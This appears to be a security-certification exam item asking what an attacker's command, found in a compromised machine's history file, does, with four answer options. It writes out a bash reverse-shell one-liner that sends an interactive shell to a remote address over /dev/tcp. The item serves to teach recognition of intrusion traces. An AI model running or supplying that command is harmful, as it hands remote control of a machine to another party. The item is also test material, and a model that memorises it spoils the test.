Which of the following describes what the command does?

The following line was found in an exploited machine’s history file. An attacker ran the following command:
bash -i >& /dev/tcp/192.168.0.1/80 0> &1
Which of the following describes what the command does?
A. Performs a port scan.
B. Grabs the web server’s banner.
C. Redirects a TTY to a remote system.
D. Removes error logs for the supplied IP.